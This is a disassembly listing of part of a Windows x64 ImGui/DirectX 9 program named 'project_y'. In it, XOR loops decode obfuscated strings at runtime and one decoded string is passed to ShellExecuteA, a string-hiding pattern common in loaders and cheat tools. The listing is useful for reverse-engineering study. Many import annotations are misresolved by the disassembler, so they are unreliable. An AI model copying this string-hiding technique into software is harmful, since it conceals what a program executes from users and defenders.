pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140138fb0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x14004b280
cmp r8d, 0x1b
jge 0x14004b3d4
movsxd rax, r8d
lea r9, [rbp + 0x2b0]
add r9, rax
nop
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x1b
jl 0x14004b3a0
xorps xmm0, xmm0
mov qword [rbp + 0x280], r15
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x288], r15
lea rax, [rbp + 0x2b0]
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x14004b3f6
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x270]
call fcn.140050bf0
movdqa xmm1, xmmword [0x140138ef0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov byte [rbp + 0x2e0], sil
movdqu xmmword [rbp + 0x2f0], xmm1
inc r14
cmp byte [rbx + r14], sil
jne 0x14004b433
mov rcx, qword [rbp + 0x280]
sub r12, rcx
cmp r12, r14
jb 0x14004c03b
cmp qword [rbp + 0x288], 0x10
lea rax, [rbp + 0x270]
movzx edx, byte [rsp + 0x70]
lea r8, [rbp + 0x270]
cmovae rax, qword [rbp + 0x270]
mov r9, rbx
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x2b0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
call fcn.140051d20
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0x10
jb 0x14004b4d1
mov rcx, qword [rbp + 0x2e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b4cc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004bfff
call fcn.1400c80fc
cmp byte [0x14013874b], sil
movups xmm0, xmmword [rbp + 0x2b0]
mov eax, dword [0x140138748]
movups xmm1, xmmword [rbp + 0x2c0]
mov dword [rbp + 0x298], eax
movups xmmword [rbp + 0x2e0], xmm0
movsd xmm0, qword [0x140138740]
movsd qword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2f0], xmm1
je 0x14004b684
mov r8d, r15d
cmp r13d, 2
jl 0x14004b640
movdqa xmm2, xmmword [0x140138f40]
mov eax, Ordinal_33
movdqa xmm3, xmmword [0x140138f50]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140139270]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, dword [0x140138fe0]
movd xmm6, edi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140138f70]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140138fb0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140138740]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp + 0x290], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140138f70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140138fb0]
movd xmm1, dword [rbp + 0x294]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
pxor xmm2, xmm1
movd dword [rbp + 0x294], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x290]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14004b650
cmp qword [rbp + 0x2f8], 0x10
lea r9, [rbp + 0x2e0]
mov eax, dword [0x140138cb4]
mov dword [rsp + 0x60], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
jb 0x14004b6ad
mov r9, qword [rbp + 0x2e0]
xor byte [rsp + 0x61], 0x39
lea r8, [rbp + 0x290]
xor byte [rsp + 0x62], 0x3a
lea rdx, [rsp + 0x60]
xor byte [rsp + 0x63], 0x3b
xor al, 0x3c
mov ebx, 1
mov byte [rsp + 0x60], reloc.WS2_32.dll_WSAGetLastError
mov dword [rsp + 0x28], ebx
xor ecx, ecx
mov qword [rsp + 0x20], r15
mov byte [rsp + 0x64], al
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movss xmm6, dword [0x140138df0]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea rcx, [rbp + 0x2b0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14004b75e
nop
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x2b8], 0x12
lea rcx, [rbp + 0x2b0]
movzx esi, sil
cmove esi, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14004b710
test sil, sil
jne 0x14004b967
mov rax, qword [0x1401560b0]
test rax, rax
je 0x14004b778
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x14004b79b
jmp 0x14004b77b
mov rbx, r15
mov r8d, 0x17c
lea rdx, str.C:UsersuserDesktopcppproject_yimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX9_Init____
call fcn.1400e4b44
mov rax, qword [0x1401560b0]
cmp qword [rbx + 0x18], r15
jne 0x14004b7bc
test rax, rax
je 0x14004b7bc
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14004b7bc
cmp qword [rcx], r15
je 0x14004b7bc
call fcn.140035400
call fcn.140036560
call fcn.14000b280
call fcn.140001520
call fcn.14000d220
mov rcx, qword [0x140156170]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x140156170]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x140156170]
xor r8d, r8d
mov edx, 0xae
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x140156170]
mov r9d, 3
mov dword [rsp + 0x30], r15d
xor r8d, r8d
movss dword [rsp + 0x28], xmm6
xor edx, edx
mov dword [rsp + 0x20], r15d
mov rax, qword [rcx]
call qword [rax + 0x158]
mov rcx, qword [0x140156170]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14004b8b3
call fcn.14000d6d0
mov rbx, qword [0x1401560b0]
cmp dword [rbx + 0x4ad8], r15d
jg 0x14004b883
mov r8d, 0x782
lea rdx, str.C:UsersuserDesktopcppproject_yimgui.h
lea rcx, str.i___0__i___Size
call fcn.1400e4b44
mov rax, qword [rbx + 0x4ae0]
mov rcx, qword [rax]
mov rax, r15
add rcx, 0x48
cmp byte [rcx], r15b
cmovne rax, rcx
mov rcx, rax
call fcn.140034e00
mov rcx, qword [0x140156170]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x140156170]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r15
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
mov ebx, 1
cmp eax, 0x88760868
jne 0x14004b6f1
mov rcx, qword [0x140156170]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x14004b6f1
call fcn.140035690
mov rcx, qword [0x140156170]
lea rdx, [0x140156180]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x14004b934
mov r8d, 0x322
lea rdx, str.C:UsersuserDesktopcppproject_yproject_y.cpp
lea rcx, [0x14012baa0]
call fcn.1400e4b44
mov rax, qword [0x1401560b0]
test rax, rax
je 0x14004b6f1
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14004b6f1
cmp qword [rcx], r15
je 0x14004b6f1
call fcn.140035400
jmp 0x14004b6f1
mov rbx, qword [0x1401560b0]
test rbx, rbx
je 0x14004b981
mov rdi, qword [rbx + 0x98]
test rdi, rdi
jne 0x14004b9a4
jmp 0x14004b984
mov rdi, r15
mov r8d, 0x130
lea rdx, str.C:UsersuserDesktopcppproject_yimgui_impl_dx9.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call fcn.1400e4b44
mov rbx, qword [0x1401560b0]
test rbx, rbx
jne 0x14004b9c9
mov r8d, 0x10ae
lea rdx, str.C:UsersuserDesktopcppproject_yimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call fcn.1400e4b44
mov rbx, qword [0x1401560b0]
call fcn.140035690
mov rcx, qword [rdi]
test rcx, rcx
je 0x14004b9dc
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
and dword [rbx + 0xc], 0xfffffff7
mov r8, qword [0x1401560b0]
mov qword [rbx + 0x88], r15
mov qword [rbx + 0x98], r15
test r8, r8
je 0x14004ba5a
movsx rdx, word [r8 + 0x6078]
lea rcx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f60]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x14004ba4f
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [r8 + 0x607c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], r15d
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rdi
call fcn.1400dea7c
mov r8, qword [0x1401560b0]
test r8, r8
je 0x14004ba7c
mov rdi, qword [r8 + 0x90]
test rdi, rdi
jne 0x14004ba9f
jmp 0x14004ba7f
mov rdi, r15
mov r8d, 0xca
lea rdx, str.C:UsersuserDesktopcppproject_yimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call fcn.1400e4b44
mov r8, qword [0x1401560b0]
test r8, r8
jne 0x14004bac4
mov r8d, 0x10ae
lea rdx, str.C:UsersuserDesktopcppproject_yimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call fcn.1400e4b44
mov r8, qword [0x1401560b0]
mov rcx, qword [rdi + 0x38]
lea rbx, [r8 + 8]
test rcx, rcx
je 0x14004bade
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8, qword [0x1401560b0]
and dword [rbx + 4], 0xfffffff8
mov qword [rbx + 0x78], r15
mov qword [rbx + 0x88], r15
test r8, r8
je 0x14004bb52
movsx rdx, word [r8 + 0x6078]
mov r9d, dword [r8 + 0x3f60]
lea rcx, [rdx*8 + 0x607c]
add rcx, r8
cmp dword [rcx], r9d
je 0x14004bb47
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rcx, [rax*8 + 0x607c]
add rcx, r8
mov dword [rcx], r9d
mov dword [rcx + 4], r15d
inc word [rcx + 6]
inc dword [r8 + 0x6074]
mov rcx, rdi
call fcn.1400dea7c
mov rbx, qword [0x1401560b0]
mov qword [0x1401560b0], rbx
call fcn.140008e10
mov qword [0x1401560b0], r15
test rbx, rbx
je 0x14004bbf6
mov rcx, rbx
call fcn.140021fd0
mov r8, qword [0x1401560b0]
test r8, r8
je 0x14004bbee
movsx r10, word [r8 + 0x6078]
lea rdx, [r8 + 0x607c]
mov r9d, dword [r8 + 0x3f60]
lea rdx, [rdx + r10*8]
cmp dword [rdx], r9d
je 0x14004bbe3
lea ecx, [r10 + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x607c]
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r9d
mov dword [rdx + 4], r15d
inc word [rdx + 6]
inc dword [r8 + 0x6074]
mov rcx, rbx
call fcn.1400dea7c
mov rcx, qword [0x140156170]
test rcx, rcx
je 0x14004bc0f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140156170], r15
mov rcx, qword [0x140156168]
test rcx, rcx
je 0x14004bc28
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140156168], r15
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x260]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0x10
jb 0x14004bc88
mov rcx, qword [rbp + 0x2e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bc83
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004bfff
call fcn.1400c80fc
mov rdx, qword [rbp + 0x288]
movdqa xmm0, xmmword [0x140138ef0]
mov byte [rbp + 0x2e0], r15b
movdqu xmmword [rbp + 0x2f0], xmm0
cmp rdx, 0x10
jb 0x14004bce0
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bcdb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004bfff
call fcn.1400c80fc
mov rdx, qword [rbp + 0x388]
cmp rdx, 0x10
jb 0x14004bd21
mov rcx, qword [rbp + 0x370]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bd1c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004bfff
call fcn.1400c80fc
movdqa xmm0, xmmword [0x140138ef0]
lea rcx, [rbp + 0x410]
movdqu xmmword [rbp + 0x380], xmm0
mov byte [rbp + 0x370], r15b
call fcn.1400496b0
mov rdx, qword [rbp + 0x358]
cmp rdx, 0x10
jb 0x14004bd85
mov rcx, qword [rbp + 0x340]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bd80
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004bfff
call fcn.1400c80fc
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0x10
jb 0x14004bdc6
mov rcx, qword [rbp + 0x3b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bdc1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004bfff
call fcn.1400c80fc
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 0x10
jb 0x14004be07
mov rcx, qword [rbp + 0x390]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004be02
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004bfff
call fcn.1400c80fc
mov rdx, qword [rbp + 0x3e8]
movdqa xmm0, xmmword [0x140138ef0]
mov byte [rbp + 0x390], r15b
movdqu xmmword [rbp + 0x3a0], xmm0
cmp rdx, 0x10
jb 0x14004be5f
mov rcx, qword [rbp + 0x3d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004be5a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004bfff
call fcn.1400c80fc
mov rdx, qword [rbp + 0x338]
cmp rdx, 0x10
jb 0x14004bea0
mov rcx, qword [rbp + 0x320]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004be9b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004bfff
call fcn.1400c80fc
mov rdx, qword [rbp + 0x318]
mov qword [rbp + 0x330], r15
mov qword [rbp + 0x338], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x320], r15b
cmp rdx, 0x10
jb 0x14004befa
mov rcx, qword [rbp + 0x300]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bef5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004bfff
call fcn.1400c80fc
mov qword [rbp + 0x310], r15
mov qword [rbp + 0x318], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x300], r15b
mov rdx, qword [rbp + 0x408]
cmp rdx, 0x10
jb 0x14004bf54
mov rcx, qword [rbp + 0x3f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bf4f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004bfff
call fcn.1400c80fc
movaps xmm7, xmmword [rsp + 0x610]
xor eax, eax
movaps xmm6, xmmword [rsp + 0x620]
mov r14, qword [rsp + 0x630]
mov r13, qword [rsp + 0x670]
mov r12, qword [rsp + 0x668]
movaps xmm8, xmmword [rsp + 0x600]
mov rsi, qword [rsp + 0x660]
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.1400c7e40
add rsp, 0x638
pop r15
pop rdi
pop rbx
pop rbp
ret
mov rcx, qword [0x140156168]
mov rdx, qword [0x140156170]
test rdx, rdx
je 0x14004bfd5
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140156168]
mov qword [0x140156170], r15
test rcx, rcx
je 0x14004bfe7
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
mov qword [0x140156168], r15
mov rdx, qword [rbp + 0x238]
mov rcx, qword [rbp + 0x260]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, ebx
jmp 0x14004bf8f
call fcn.1400e565c
int3
call fcn.140040110
int3
call fcn.1400e565c
int3
call fcn.1400e565c
int3
call fcn.1400e565c
int3
call fcn.1400e565c
int3
call fcn.1400e565c
int3
call fcn.1400e565c
int3
call fcn.1400e565c
int3
call fcn.140040110
int3
call fcn.140040110
int3